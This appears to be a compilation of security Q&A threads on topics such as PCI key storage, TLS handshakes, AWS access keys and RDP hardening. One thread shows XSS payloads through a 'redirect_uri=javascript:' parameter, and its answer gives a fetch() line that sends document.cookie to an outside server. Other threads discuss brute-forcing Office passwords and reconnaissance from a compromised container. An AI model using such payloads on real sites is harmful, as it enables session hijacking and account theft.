Is there a "no-spy, no-backdoors standard" for telecom hardware manufacturing? The BBC News article Huawei says willing to sign 'no-spy' agreements reports the following:

Huawei has also said it is independent from the Chinese government, but some countries have blocked it from their 5G networks on national security grounds.
A recent report suggested the UK could allow Huawei's telecoms equipment to be part of the country's 5G networks, with some limitations.
"We are willing to sign no-spy agreements with governments, including the UK government, to commit ourselves to making our equipment meet the no-spy, no-backdoors standard," (Huawei chairman) Liang Hua said via an interpreter at a business conference in London on Tuesday. (emphasis added)

Question: Does a "no-spy, no-backdoors standard" exist anywhere for telecom hardware manufacturing? Is there at least a proposed framework for one, or is this something new?

Given that there had been zero substantial evidence presented that Huawei's networking equipment was ever bugged to begin with, this looks like it's just translation issue.

The "standard" they're referring to is the contract/agreement they're signing, which is the de facto expectation with pretty much the sales and manufacturing of any such business networking equipment to begin with. A better translation would've been "expectation (of the contract)".

With consumer level equipments things becomes a lot fuzzier because of definitions issue. Many consumer equipments are self updating and some may collect analytics for troubleshooting purpose, which with some squinting could be interpreted as a backdoor and spyware. Self updates are generally a good thing and analytics is also not necessarily malicious, as it ensures that the equipments are up to date and patched from any security problems discovered after manufacture, but to some degree a self update feature is essentially also a backdoor as it allows manufacturer to push new software to the device.


What is this hardened computer called? After undergoing a security audit, it was suggested that a hardened computer be placed in the DMZ to run firewall software. What is this hardened computer called?

My best guess is "perimeter firewall". Have a look on this, to confirm this, as I am not sure about naming.
http://technet.microsoft.com/en-us/library/cc700828.aspx


Restrict network access for a single process with SELinux or AppArmor I have a Python script that access the network, and I want to deny it network access sometimes. How can I achieve this with SELinux or AppArmor? I want to be able to launch this specific script with restricted access.

AppArmor has the ability to block network connections from applications. I've never done it myself, but you should look at the AppArmor community page and the network rules page for details on how to do it.

From the looks of it, the deny network directive should allow you to block all network access for an application.


List of certificate authorities in browsers and mobile platforms Is there a list of certificate authorities installed in popular browsers and mobile platforms?

I am considering a few alternatives for an SSL certificate, and I would like to make sure that the one that I'm buying is covered by all relevant platforms.

Yes there is, but each browser may use a different set, here is a list for the main browsers:

Firefox: https://www.mozilla.org/en-US/about/governance/policies/security-group/certs/included/
Chrome: it uses the certificates included with the OS.
Opera: it install the most uses CA within installing the application, you can find the rest in the online root repository: https://certs.opera.com/
iOs: https://support.apple.com/kb/ht5012


What computer information can WiFi networks see? I'm on a school WiFi network, and it's school policy to record basic PC info(name, IP, etc), along with the student name when they add the computer to the WiFi network. My assumption is that it's to track us. However, what can they really see? (Assume all data is encrypted using SSL)

This started off as a comment on Snappie's answer, but it's getting a bit long...

  Assume all data is encrypted using SSL

But not all data is encrypted!

(in addition to IP address, and the amount of data being passed in either direction...)

They can also see the IP names of all the resources you access (including web) from your DNS activity (not encrypted). If you are using a proxy, then this is also exposed in the proxy logs.

They can see what type of network interface you have (from the MAC address).

They can see when your computer connects to the network (Wifi connect, DHCP).

From passive sniffing of encrypted traffic they could probably guess what family of OS you are using.

I believe Chrome can be quite chatty as it tries to work out if something is a URL or a search term and tries to diagnose what network connectivity it has. I would presume that this could be exploited to determine if you are using Chrome, although its not something I know a great deal about.

If, at any time, your browser does make a non-encrypted request, then this will reveal a lot of details about your browser and OS. Depending on the service, it may also reveal a lot about your affiliation to the site.

...and this is just from passive data collection. If they choose to start sending data at your device, it will reveal a lot more.


PCI Encryption Key Management (Full disclosure: I'm already an active participant here and at StackOverflow, but for reasons that should hopefully be obvious, I'm choosing to ask this particular question anonymously).

I currently work for a small software shop that produces software that's sold commercially to manage small- to mid-size business in a couple of fairly specialized industries. Because these industries are customer-facing, a large portion of the software is related to storing and managing customer information. In particular, the storage (and securing) of customer credit card information. With that, of course, comes PCI compliance.

To make a long story short, I'm left with a couple of questions about why certain things were done the way they were, and I'm unfortunately without much of a resource at the moment. This is a very small shop (I report directly to the owner, as does the only other full-time employee), and the owner doesn't have an answer to these questions, and the previous developer is...err...unavailable.

Issue 1: Periodic Re-encryption

As of now, the software prompts the user to do a wholesale re-encryption of all of the sensitive information in the database (basically credit card numbers and user passwords) if either of these conditions is true:

There are any NON-encrypted pieces of sensitive information in the database (added through a manual database statement instead of through the business object, for example). This should not happen during the ordinary use of the software.
The current key has been in use for more than a particular period of time. I believe it's 12 months, but I'm not certain of that. The point here is that the key "expires".

This is my first foray into commercial solution development that deals with PCI, so I am unfortunately uneducated on the practices involved. Is there some aspect of PCI compliance that mandates (or even just strongly recommends) periodic key updating?

This isn't a huge issue for me other than I don't currently have a good explanation to give to end users if they ask why they are being prompted to run it.

Question 1: Is the concept of key expiration standard, and, if so, is that simply industry-standard or an element of PCI?

Issue 2: Key Storage

Here's my real issue...the encryption key is stored in the database, just obfuscated. The key is padded on the left and right with a few garbage bytes and some bits are twiddled, but fundamentally there's nothing stopping an enterprising person from examining our (dotfuscated) code, determining the pattern used to turn the stored key into the real key, then using that key to run amok. This seems like a horrible practice to me, but I want to make sure that this isn't just one of those "grin and bear it" practices that people in this industry have taken to. I have developed an alternative approach that would prevent such an attack, but I'm just looking for a sanity check here.

Question 2: Is this method of key storage--namely storing the key in the database using an obfuscation method that exists in client code--normal or crazy?

Believe me, I know that free advice is worth every penny that I've paid for it, nobody here is an attorney (or at least isn't offering legal advice), caveat emptor, etc. etc., but I'm looking for any input that you all can provide. Thank you in advance!

Issue 1 : You mention password encryption. Firstly why are passwords rather than salted hashes of passwords used? As for key rotation/expiration, I've seen (and coded for) policies like that. The longer a key is in use (and the more times it is used) the higher the risk it may become comprised/discovered. Some systems, for example Windows DPAPI automatically expire keys, SSL certificates have expiration dates after which a lot of systems will not use them to encrypt new data and so on.
Issue 2: Yes, that's bad. Incredibly bad.
The PCI compliance audit specs for the PAN state "Strong cryptography, such as Triple-DES 128-bit or AES 256-bit, with associated key management processes and procedures"
Rotation could be argued to be part of the key management process, and storing the key securely away from the data definitely is part a key management process.
Section 3.6.4 of the audit specs go further and state

Periodic key changes

As deemed necessary and recommended
by the associated application (for
example, re-keying);
preferably automatically At least annually


Reasons why there are no web based unified email clients (with OAuth2)? There are plenty of mobile applications that you sign into with different accounts to retrieve email, contacts, and calendar (such as CloudMagic), and a couple desktop clients (such as Inky). Yet I can find no web based clients that do so, besides forwarding of messages from provider to provider.

Say I want to create a NodeJS web based email client that has full read and write access (like a normal email client), and it will link to my users' Gmail and Office365 accounts. All IMAP functionality is on the NodeJS backend, but obviously, one of the concerns that this would raise is storing passwords in my own database to access IMAP of the client. I do not want to do this.

But that concern is mitigated to an extent by using OAuth tokens to access IMAP and mail APIs, right? I'm sure I am missing something as I feel like there would be plenty of web clients that exist that do this.

You're correct, this is possible if the mail provider offers a mechanism to access user email using OAuth 2.0. However, not all online mail providers allow full IMAP access using an OAuth 2.0 token. From a quick glance around the web the only provider I found that allowed full IMAP access was Google. Office365 and Yahoo both only allow user email access through the use of an API. I'm assuming this idea isn't popular because of the interoperability issues. If you implemented this users could only consolidate their emails from a few online email providers instead of all their emails from every email provider when using a native client.


Exploit: Send cookie to another server from url I'm testing a web application and found that url contains "redirect=" where it navigates to new location once logged in.

http://IPAddress/?redirect_uri=test

I'm trying to exploit the cookie using redirect_uri as the HTTPOnly & Secure flags are not set.

I've trying different payloads and successfully exploited using following payload

http://IPAddress/?redirect_uri=javascript:alert(document.cookie)

Now i want to transfer the payload to another malicious server, for that I've tried following payloads, but nothing works.

http://IPAddress/?redirect_uri=javascript:document.location.href="http://maliciousserver.com/anyfile.php?cookie=" + document.cookie

The above payload not even send request to the malicious server, whereas the HTTP request was received for the following payload

http://IPAddress/?redirect_uri=javascript:document.location.href="http://maliciousserver.com/anyfile.php?cookie="

Could some one help me to transfer the cookie using redirect_uri=javascript: payload to another server?

P.S - <script> </script> tags are not executed as the x-xss-protection header is enabled.

The simplest way would be to use the fetch() method.

?redirect_uri=javascript:fetch("https://example.com/"+document.cookie)


Measuring the Risk of Not Managing Risk I've seen scenarios in which organizations don't invest enough in cybersecurity, are short-handed, and thus have a difficult time meeting the policy requirements defined within their Security Programs. I would assume that many companies don't properly invest in cybersecurity and that this scenario is fairly common.

My question is related to measuring risk of not meeting policy requirements. Measuring risk by performing a standard risk assessment is well defined: identify threats/vulnerabilities and assess the impact and likelihood of exploitation. But what about the situation where you don't know the likelihood/impact of vulnerabilities because you literally just don't have the manpower to perform a risk assessment across all of your systems?

In basic terms: how can you assess and properly communicate the risk associated with not following policy? For example, the risk associated with not performing risk assessments across each of your systems?

Any ideas? I find that communicating risk up the chain of command is the best way to get resources to tackle problems. Am I framing this incorrectly by thinking about it in terms of risk?

You are not using a useful risk assessment process, which is why you are having trouble coming up with a measure.

Importance of Inherent Risk

You are combining likelihood and impact with the mitigations (people, controls, policies, etc.). A risk assessment first assesses the risk without mitigations. This gives you your inherent risk. Sometimes you can assume some mitigations in inherent or a constant, so you can use that knowledge in your assessing of inherent risk. But, as you say, you can't assume that you have everything you need to mitigate.

Residual Risk

Your mitigations (people, controls, policies, etc.) reduce that risk level to a new level (hopefully a lower one), called residual risk.

Your assessment process needs to consider the impact of the mitigations carefully so as not to assume that those mitigations are always there.

Policies as Risk Mitigation

Policies are one of those mitigations. You should carefully consider the impact a policy has, or else you have a useless policy (or you copy/pasted it from some source online or an external expert who had ideas one day). So, you should already know the impact of not following a policy.

Risk Communication

You are correct that having the right information is the best thing you can do to improve your security posture and communicating to decision-makers. You need to communicate the gap between:

inherent risk
your current residual risk
your target level of residual risk (a step most people forget about, because, no, you can't and shouldn't get all risks to "green" on a heatmap)

Specific Example

If you do not perform risk assessments on systems, then you have no means of effectively controlling the potential impacts on those systems (the risk assessment is a form of mitigation from the org perspective). So, then, you potentially have no controls against impacts, which means your inherent risks are considered to be your actual risks. Risk assessments on the systems help define how to lower your risks (impacts/likelihoods).


Security (IP discovering) on Kubernetes I'm trying to improve my security knowledge on containers environments.

Recently I was playing around with Kubernetes cluster. I saw this absolutely awesome link: https://schd.ws/hosted_files/kccncna17/d8/Hacking%20and%20Hardening%20Kubernetes%20By%20Example%20v2.pdf

From a compromised container, how can I know the Node IP addresses? Is always the gateway of my compromised container the IP of the node containing it?
From a compromised container, how can I know the cluster API IP address?

Getting to the Node address from a compromised container can be non-obvious, depending on which Container Network Interface (CNI) plugin is in use.

You can try traceroute from the container and in some cases the first hop will be the node IP address.

Getting to the Cluster API address is generally much simpler.  The default in all clusters is to create a service for Kubernetes and to inject the Service IP address into each container as an environment variable.  If you look for KUBERNETES_SERVICE_HOST that should show you an IP address you can connect to.


How does Nautilus store passwords on Ubuntu? When I mount a LUKS volume, I get these options:

Forget password immediately
Remember password until you logout
Remember forever

I assume the first is the safest, and I can work on the files until I unmount. However, what are other two are good for? And where and how is the remembered password stored?

I have mounted it in Ubuntu 14.04, with dm-crypt.

I mount the volume with sudo losetup $(sudo losetup -f)
and then I click on the mounted volume in Nautilus. Then the dialog above appears.

Under the default configuration in Ubuntu, passwords are stored in the GNOME keyring. This applies to all passwords stored by Nautilus, as well as most other applications including web browsers.

(Let me reiterate: default configuration, most. This can be changed and there are applications that don't support the Gnome keyring.)

You can use the Seahorse GUI program or the secret-tool command line utility to view and modify the contents of the keyring.

There is some official documentation about Gnome Keyring, including a “security philosophy” and a more concrete security architecture.

Data in memory (“Remember password until you logout”) is present in the memory of the gnome-keyring-daemon process, which allows any process running as your user to query it. Gnome-keyring avoids swapping if possible; however, if you have any encrypted storage, you should have encrypted swap, because the programs that manipulate the confidential data could themselves be swapped out.

Data on disk (“Remember forever”) is stored in the file ~/.gnome2/keyrings/login.keyring. It is encrypted with a key that's derived from a password; normally, that's your login password, and Ubuntu is set up to unlock the keyring with your login password. The key is derived from the password with a salted, slow hash but I don't know exactly what the derivation function is.


Does AWS store users' passwords without hashing? I just noticed that AWS provides a service that checks your users' passwords for corporate password rule compliance "periodically": https://docs.aws.amazon.com/config/latest/developerguide/iam-password-policy.html
This makes me afraid that AWS stores encrypted passwords instead of storing hashes of passwords. Is that the case?

Checks if the account password policy for IAM users meets the specified requirements indicated in the parameters.

What is being checked is the account password policy, not the actual passwords of users.  It's a periodic check to make sure you're requiring the level of complexity that you want to be requiring.  As such, no need for reversible encryption of user passwords.


Secure chat -- is CTCP a good option? Not sure if this is the proper forum for my question, but I've recently read over at Encrypt Everything that CTCP is a poor choice if you want to keep your chats secure. I'm beginning at security, so I'm not sure on why DCC would fall behind IRC (fewer possible leaks when direct contact is required, no?) but if this is true, are there more secure options out there? What are the benefits/drawbacks of these options? Is a more secure DCC chat possible?

I'm already using OTR, not routing over Tor currently though.

For instance, CTCP does not support SSL, where IRC does. However, with standard IRC, there is no mechanism to check whether other parties are using SSL, and whether server links are protected.

The point of that Encrypt Everything page is that CTCP divulges a large amount of information about you and your client. It is not about confidentiality of your communications - that's not available with IRC (plaintext communication) anyway.

With CTCP/DCC, things like your timezone, OS and client version are available. Obviously, timezone is anyway available from your IP address.


Check if a password for encrypted ms office document is correct I am writing a Python program to decrypt a MS Office encrypted document.
Referencing This GitHub Repo for reference.

Now what I want to do is try bunch of commonly used passwords against the document. Sort of a brute force approach. But the issue is when I feed in the password, I don't have any way to know if the decrypted content is garbage meaning that the password was wrong or the decrypted content is the right original content meaning that the password was right.

I know that inside the document structure, this information is usually embedded inside EncryptionInfo. But I don't understand how do I verify either the password I'm using is correct or the content it is decrypting is correct.

I've tried checking a lot of online sources and one that could help is This YouTube Video and May be this code (I don't think so though) but I am not able to realize this all into a python code because I don't understand all the operations suggested in it properly.

MS Office documents are encrypted with the plain text password. But they use the hash of the plain text password to verify if it will work first though. If the user supplied password goes through the hashing process and matches it's stored hash then it will decrypt the file with the supplied password.

Additionally the hash is not a direct hash of the key. In Office 2007 it hashes the password 50,000 times and in Office 2010 it hashes it 100,000 times. Both using SHA-1. This is to fight off tools that brute forced hashes for earlier versions. Office 2013 uses the same strategy but uses SHA-512 by default.

So if you know the hash method and the Office version you can write a script that turns a plain text password into a compatible hash to compare to the MS document's hash. If your script compares them as equal then you can verify it is the correct password.


How to keep an internal node from spoofing an internal server's IP and thereby getting the server blocked by active defenses? In an internal network, all machines are firewalled from each other. The firewall has port scan detection and blocking mechanism (say, psd module of iptables).

Question: What are the ways I can block internal port scans while avoiding DoS threat? Say, an internal attacker might impersonate/spoof the domain server's IP address while port scanning the network and get the domain server's IP blocked on the firewall. How do I avoid that?

I know that IP spoofing attacks from outside trying to impersonate internal address (and vice-versa) can be prevented via ingress/egress filtering. But what about only internal addresses?

Another way to prevent this is TCP packet numbering (same Wikipedia link). But what about non-TCP scans?

What other strategies are available?

At a network level, you could try implementing Dynamic ARP inspection and DHCP snooping to prevent hosts from spoofing the IP address of legitimate hosts. This will create a database on your switch of what IP addresses were handed out on which port and to which host, if another host tries to spoof that IP it can be blocked and the spoofed traffic will not make it through.


TLS handshake encrypted alert on client certificate I'm trying to debug a TLS handshake between a client and a server

Client sends Hello

Server sends Hello, Certificate, Certificate request, Server hello done.

client sends Encrypted alert - content tpe Alert(21)
client sends Client key exchange
client sends Change cipher spec

server sends Change cipher spec

client sends Finished
server sends Finished

client sends Application data

After this the connection is broken and in the server logs it looks like the client did not send a certificate (where the Encrypted alert happens).

Unfotunetly I cannot paste the wireshark data as I am working in a closed network.

Any help would be greatly appriciated!

In TLS there cannot be an encrypted record before the first handshake is completed; the first encrypted record sent by either the client or the server is a Finished message. If the message is encrypted, then it is meant to be decrypted on the other side; since the symmetric encryption keys are derived from the "master secret" which itself comes from the agreed-upon key exchange mechanism, the receiving end (here, the server) cannot logically decrypt a record before the completion of the key exchange. Thus, from the client, it would make no sense to send an encrypted alert before the ClientKeyExchange (that is, not only doing encryption before the Finished messages would violate the standard, but doing so before the ClientKeyExchange would also break the Laws of Nature).

This leads to two theories:

Perhaps the "encrypted" alert message is not encrypted. An alert record consists in a sequence of "alerts", each of them consisting in a couple of bytes: first byte specifies the alert level (1 = warning, 2 = fatal), second byte documents the nature of the alert. See the standard for details.
Maybe your network trace conflates the traffic from several TLS connections, and the "encrypted alert" pertains to another, older handshake (it could be the close_notify alert that marks the end of the previous connection).

In any case, if the server requests a client certificate (with a CertificateRequest message), and the client has no suitable certificate, then the client behaviour should be to send an empty Certificate message (before its ClientKeyExchange). This is what is supposed to happen with TLS-1.0 and later versions; in SSL-3.0, a client with no suitable certificate would omit the Certificate message altogether, and instead send an alert message of level "warning" and type "no_certificate" (numerical value: 41). If your trace shows no Certificate message from the client, then this would mean that you are using SSL-3.0, which, as of August 2015, is weird (clients and servers should know TLS-1.0 by now). This should be verified by looking at the contents of the ClientHello and ServerHello messages. An SSL-3.0 handshake would explain the "alert" message, but it would certainly not be encrypted.

(SSL-3.0 and TLS-1.0 are very similar, but have a few differences, one of them being the client behaviour when having been requested a certificate but being unable to provide one.)

If you are really using SSL-3.0, then, first, you should not, because SSL-3.0 has an irremediable weakness (called POODLE). However, even if you update to a better versions (one of the TLS versions), you would probably have the same problem, which is that the client does not send a certificate.

Common causes for that are:

The client does not have, indeed, such a certificate. Maybe the certificate is there but has expired (or the client may believe it so, because of a poorly set internal clock). Maybe the client has the certificate but lacks the secret key (e.g. in a Windows world, access rights on the private key are off).
The client has a certificate but it is not appropriate for the server. The CertificateRequest from the server includes the list of names of root CA that the server will use to validate the client certificate. The client will send its certificate only if that certificates can be validated relatively to one of these CA. If the list of root CA is misconfigured on the server, then the client may simply abstain from sending a certificate.
Similarly, the client may believe that its certificate is not appropriate for the server. This is a rare case but it happens in some scenarios involving migrations to a new root CA: given a PKI with a root CA and an intermediate CA, one may create a new root CA (new name, new key) that issues a new certificate for the intermediate CA (but the intermediate CA keeps its name and key). This kind of migration allows existing certificates to be validated against both the old and the new root, which is a good thing for a smooth transition. However, some client software (yeah, Windows, I am looking at you) operates under the belief that a given certificates relates to a single root CA, always. Thus, in such a scenario, if the server wants to use the new root but the client believes its certificate to come from the old root, the client will not send it, even though it would have worked fine on the server side.


Is it normal for a merchant to claim an online transaction is card-present? I recently made a purchase from a merchant (the city of Los Angeles). During the checkout process on their web site I had to enter my credit card information. One of the fields in the credit card form was labeled "Card Present". It was a checkbox which was checked and disabled meaning that I could not change it.

It seems pretty obvious to me that this is the very definition of a card not present transaction. It's over the internet and I'm not swiping or inserting my card. For all they know I could have generated the number on my computer or stolen it.

Is this PCI-compliant? Am I misunderstanding the meaning of "card present"? This seems very manipulative to me.

This could have been a dummy field on the form.

Card present indicates that both the card and the customer are present at the time of sale, most payment processors also charge lower fees if the card is swiped vs typed in.

That being said, when a card is swiped there is extra information on the magnetic strip that isn't typed in. Payment processors usually receive the raw data from the card, which they then use on their end to execute the transaction.

So either this form input is a dummy, or they're using a card processor that allows them to claim the card was present. If you could post a link to the merchants site, we'd be able to take a closer look at what exactly that checkbox does.

After examination of the site in question, it appears that they are using a payment processor named "Converge Virtual Merchant". Their documentation on processing transactions is available on their site, located here https://www.myvirtualmerchant.com/VirtualMerchant/download/transactionProcessingGuide.pdf

Quickly reading through it, it does state the merchant has the ability to mark the card as present for hand-keyed transactions. The payment site in question is locked to say the card was present.

PCI compliance is for storage and security of cardholder information. Because the payment portal itself is hosted by the processor, it appears that it is indeed PCI compliant.

That doesn't negate fraud though. While your card information is secure, it appears as if the merchant COULD BE attempting to commit fraud by marking all transactions as card present. Since card not present transactions usually have higher fees to account for their risk, the merchant would be defrauding the payment processor by applying the lowest fee and moving that risk onto the processor, in this scenario. However the allegations of fraud and its implications is something that should be discussed on the Legal StackExchange site.


What is at risk if I do not validate Confirm Password on server side and only perform this validation on client side? While changing password, in my application I am performing only JS validation for password and confirm password field values. It is recommended to have server side validations. But confirm password serves purpose for user to be double sure about the password that it has typed. What is actually at risk if I do not send confirm password value at server and only save password value?

The rule is to control server side what actually matters for the server, and client side what matters for user. For example, if you want to allow only certain characters in password and a maximum length, this should be controlled server side. If you just want to be sure that the user knows what he/she has just typed, client side controls are fine.

Some controls can be done twice, because what matters for the server is the data, but what matters for user is to be warned of an error as soon as possible. For example it is fine to first control the validity of a field client side as soon as the field has been typed in to immediately warn the user, and then control it server side when the form is submitted.


Is a precompiled Java program affected by Java vulnerabilities? We know that Oracle publishes Java updates due to vulnerabilities / security issues and therefore we should make sure that we have installed the latest version of Java.

Now there exist programs like ExcelsiorJet which compile Java applications to native code. I am using such an application and I can see it uses Java 7 Update 75:

0:000> lm vm java
start    end        module name
716b0000 716d0000   java       (export symbols)       C:\Program Files (x86)\...\bin\java.dll
    Loaded symbol image file: C:\Program Files (x86)\...\bin\java.dll
    ...
    File version:     7.0.750.13
    Product version:  7.0.750.13
    ...
    CompanyName:      Oracle Corporation
    ProductName:      Java(TM) Platform SE 7 U75

Since the current version is Java 7 Update 80, we can assume that this  version has some security issues.

However, since this application will only run its own code and not arbitrary code like a browser plugin does, can I safely assume that this application does not open a security hole on my PC?

It depends if these are security issues of the JVM or the Java libraries. Since the JVM is not used these problems don't affect compiled applications. But issues in the library might affect your application. If these issues are relevant for your program depends on the kind of issues and what your program does. For example problems affecting the validation of TLS certificates will probably affect your program if it does https connections, even if it does not execute external code like a browser plugin does.

In effect you need to find out what kind of issues are fixed in the updates, which component they affect and if this component is used by your application. Then you know if the application is affected or not.


How to pass PCI DSS 2.0 anti-virus requirement (5.1) on Linux? PCI DSS 2.0 Requirement 5.1 states:

  5.1 Deploy anti-virus software on all systems commonly affected by malicious software (particularly personal computers and servers).

This requirement (although I'm not 100% positive it is the only one) caused IT security team in our company to request all the workstations able to connect somehow to the production environment (and probably all the CHD servers) to have antivirus and firewall installed.

In my opinion if the workstation's or server's only OS is GNU/Linux (Debian Wheezy in this case) this requirement is somewhat bonkers. As far as I know the main purpose of AV software running on Linux distros is to detect Windows malware, not to mention that none of those tools offers "live" protection. The best protection you can get is scheduled scan (and, since requirement 5.1.1 that is quite a problem).

Moreover Firewalls are required on all workstations too (PCI DSS 1.4). The funny part is that while virtually all Linux installations have firewalls (iptables), virtually none of them have any rules.

Can you pass PCI DSS without installing antivirus on all linux workstations and servers?

Can you pass PCI DSS without installing additional firewalls or configuring iptables on all linux workstations?

ADDED: If the AV is needed, what about requirement 5.1.1?

  5.1.1 Ensure that all anti-virus programs are capable of detecting, removing, and protecting against all known types of malicious software.

I don't think there is Linux AV able to do "live protection", as in scanning everything the user runs or is about to run. At least not compatible with recent kernels.

POST-CERTIFICATION UPDATE:
Our company is now PCI DSS 3.0 certified and we did not have to install antivirus on every computer running GNU/Linux. We did not have to argue with the assessor, as they said straight away that AV is not required on Linux workstation in their opinion.

Can you pass PCI DSS without installing antivirus on all linux
  workstations and servers?

Yes, absolutely.

  Can you pass PCI DSS without installing additional firewalls or
  configuring iptables on all linux workstations?

Yes, absolutely.

In both cases the PCI-DSS contains statements that allow you to make reasonable arguments as to the applicability (or not) of the requirement to specific systems.

You must put AV on all "systems commonly affected by malicious software".  If you don't want to put it on Linux, then you must make the case that your systems aren't affected by anything an AV package detects.  And, obviously, if that Linux server is a Samba file server for hundreds of Windows clients, that's specious and you should do it anyway.
DSS 1.4 doesn't say you need firewalls on all workstations, it says you need firewalls on all "mobile and/or employee-owned computers with direct connectivity to the Internet".

Now, @graham-hill correctly points out you'll need to convince other people of the truth of these things.  Maybe those other people are your auditors, maybe those other people are your own coworkers.  Maybe they're reasonable, and maybe they're not.  Maybe it's easy, maybe it's hard.  Read the requirements, document your case, make the argument, try to win... and realize that it's an unjust world and you may lose anyway.


Why is SQL considered to be a session layer "protocol"? Within the OSI-Model, why is SQL considered to be a session layer "protocol"? Isn't SQL a language and not a protocol at all?

SQL includes many things (I'm skipping a few):

the SQL syntax itself (there is a standard, just more or less applied by various databases). I believe this is what you are referring to.
the wire protocol format (there are a few of those). This is mostly about how to represent data.
the interaction between clients and servers. This is closely integrated with the first two.

The third one concerns session establishment, use, and close. This fits fairly well within OSI level 5.

In SQL, you can create and reuse a session. The actual statements (specific keywords and sql syntax) are using that session. So you could say that the SQL language itself is closer to layer 6, although that's debatable as well.

You could also view transactions as "sessions", but not in the networking sense.

This may sound like a vague answer, but that's because SQL covers so much that it doesn't fit neatly into one box.


Publish a PDF on a website with MD5 Hash I want to publish PDF documents on my website. I calculated the MD5 Hash of the file before uploading it. I want to provide this hash so that the downloader can check if the file is okay. What is the best way to provide the hash? Should I just write it as text on my site or is there a standard way to do it?

The best way is to provide the hash as text (hexadecimal string) over HTTPS. Otherwise you could just offer the download directly over HTTPS and avoid adding the hash. The important point here is the security provided by TLS, without it your hash will be useless security-wise.

You should use a robust hash, such as SHA-256 instead of MD5.

If you are not interested by preventing an attack but just want to ensure the integrity of the downloads, you should put the downloads over HTTPS and forget the hash. This way, everybody will benefit from it, not only the users who know about hashes, and it will be a more seamless experience.


What's ownership concept for? I fail to grasp the necessity of using concept of owner (ownership) and find clear explanation of its necessity.

What cannot be done without concept of owner(ownership) in filesystem/database object security (permissions) systems? Or, why is it needed?

Update:
I would highly appreciate if you help me understand why in the "An Administrator is not the Administrator' there was a need to set the owner of a file to "Administrator"?

What Administrator in Windows cannot do with a file without being its owner?

The concept is that on a given "object" (say, a file), you have access permissions which detail who can access the object and under which conditions. The owner is an optimization: usually, among all the users who have permissions for a given object, one of them should have "all the permissions" and be generally considered as responsible for this object.

On Unix systems, traditionally, permissions on file are read, write and execute, and can be granted to three categories of users: the owner (a specific user), the group (each file is marked as being part of a group), and everybody else. This is a system which is not very granular, in that you can single out only a single user; rights for other users will be allocated on a group basis (at least). On modern versions of Unix, there are Access Control Lists which give much more flexibility, in a way similar to what is used in Windows. With ACL, or on Windows, any notion of "owner" is mostly an historical residue. On Windows, the "owner" of a file is any one of the users (or groups) who has "full control" rights on the file, but its purpose is mostly backward compatibility with code which predates ACL.

To sum up, ACL are sufficient for security and ownership is not required, but it often sticks around for interoperability with older code which does not know what an ACL is, but fiddles with "owner identities".


How AWS access key id and secret access key are generated internally According to AWS's documentation, for accessing AWS resources programmatically or via CLI, you can generate an access key in AWS console like:

Access Key ID: AKIAIOSFODNN7EXAMPLE
Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

And it is said in the doc:

Choose Download Credentials, and store the keys in a secure location.

Your secret key will no longer be available through the AWS Management
Console; you will have the only copy.

Since AWS doesn't store the secret access key, I wonder how the (access key id, secret access key) could be generated internally and how an API/CLI access could be authenticated securely.
I am thinking that AWS may:

generate an access key id randomly
use an internal key in AWS with some crypto algorithm to generate the secret access key
when
authenticating a request, apply the same internal key and same
algorithm to the access key id, and verify if the computed result is
the secret access key

But I am far from a security expert, and would like to know how this could be done in AWS in production. Thanks.

From the documentation [0][1], we see that you prove to AWS that you know the Secret Access Key using HMAC, not using Digital Signatures. This means that when verifying the authentication, AWS must be able to generate the exact Secret Access Key for your Access Key ID.

Thus, their promise to never show you the Secret Access Key again is a matter of policy, not a truth about the underlying technology. If it was public key cryptography and the Secret Access Key was a private key that corresponded to the Access Key ID which was a public key, and they only stored the public key, they truly would not be able to regenerate and show the private key. But that would require the client to generate a private key signature to authenticate requests, which is slow and less portable than HMAC.

I have no evidence for this, but I believe the Secret Access Key is generated using HMAC from the Access Key ID, using a key that is available only to Amazon. Stealing that key without Amazon noticing would enable you to forge anyone's Secret Access Key given only their Access Key ID. If ever the AWS key is stolen, AWS would have to invalidate all keys and cause massive global downtime while everyone generates new ones on the AWS console and redeploys. I don't know what safeguards they took to make this unlikely, but I assume the key can't reside on a single HSM per Availability Zone, because it is required to process every non-public request.

Alternatively, the Secret Access Key might be random and stored alongside the Access Key ID in the AWS authentication & authorization system, which is replicated to every availability zone. That would mean that to cause a catastrophe, someone would need to exfiltrate a big chunk of data, not a single secret key.

0 - https://docs.aws.amazon.com/AmazonS3/latest/dev/RESTAuthentication.html#ConstructingTheAuthenticationHeader

1 - https://docs.aws.amazon.com/AmazonS3/latest/dev/RESTAuthentication.html#RESTAuthenticationExamples


Self-signed CA and digital signatures I am asked to design the public key crypto system for an IoT-like devices. These devices are going to be talking to each other over TCP/IP as well as communicating with a cloud-based API server. The firmware for these devices are developed in house.

The requirements are:

The devices should be able to authenticate each other's identity and talk over secure channels.
The API sever should also authenticate the identity of all devices.
Digital signature: all firmware updates will carry a digital signature and the devices should only upgrade itself if the signature is valid.

My solution so far for the first two requirements is to:

Generate a RSA key for the corporate (keep private in the corporate) and use it to generate a self-signed CA
Use the self-signed CA to generate a X509 cert for the API servers.
Use the self-signed CA to generate a X509 certificate for each device.
Add the self signed CA to each device trusted CA store.

I am new to this, so I still have some questions.

Is the above valid?
For the digital signing, as far as I can tell I can use the private key from step one to sign the firmware binaries. Then on the devices, can we just extract the public key from the corporate CA cert and use it to verify the signature?

Thanks.

1 - What you are doing is valid, you are doing good.

2 - You shouldn't use the key on step 1 to sign, but key from step 2. The key from step 1 is for the CA, and you should only use it for signing other certificates. You could create a dedicated certificate for signing firmware, or use the API endpoint certificate to sign them. It works the same.

The key from step 1 is the most sensitive part of your infrastructure. Treat is as the master-key. Use it only for signing other certificates.


RDP Attempts From Unknown IPs, How to Protect? I'm running Windows Server2008 R2, and seeing the following error multiple times with various IPs in the event log:

  The Terminal Server security layer detected an error in the protocol
  stream and has disconnected the client. Client IP xxx.xxx.xxx.xxx

I checked the IPs and they are definitely not from anyone on my team or anyone who should have access. One of the IPs was even blacklisted.

I'm assuming here that someone is trying to access my server via RDP.

Normally I would configure the firewall to only accept RDP from "allowed" IP addresses. However the issue that I face is that I dont have a static IP with my ISP, and it changes from time to time.

Is there any recommended way / solution to deal with this issue considering that I dont have a static IP at home?

Not exactly proven security, but Port Knocking can allow you to open up closed ports by sending a special set of packets to the server first.

You could also rent out a cheap server with a dedicated IP address and set up a VPN, then explicitly set the firewall to only allow connections from the VPN IP.


Security implication of non-free drivers I was wondering what the security implications are of using non-free drivers on a linux laptop. Especially for graphics and wifi.

Drivers for hardware devices in your system typically operate with a high degree of privilege. They need to, in order to interface with your hardware.

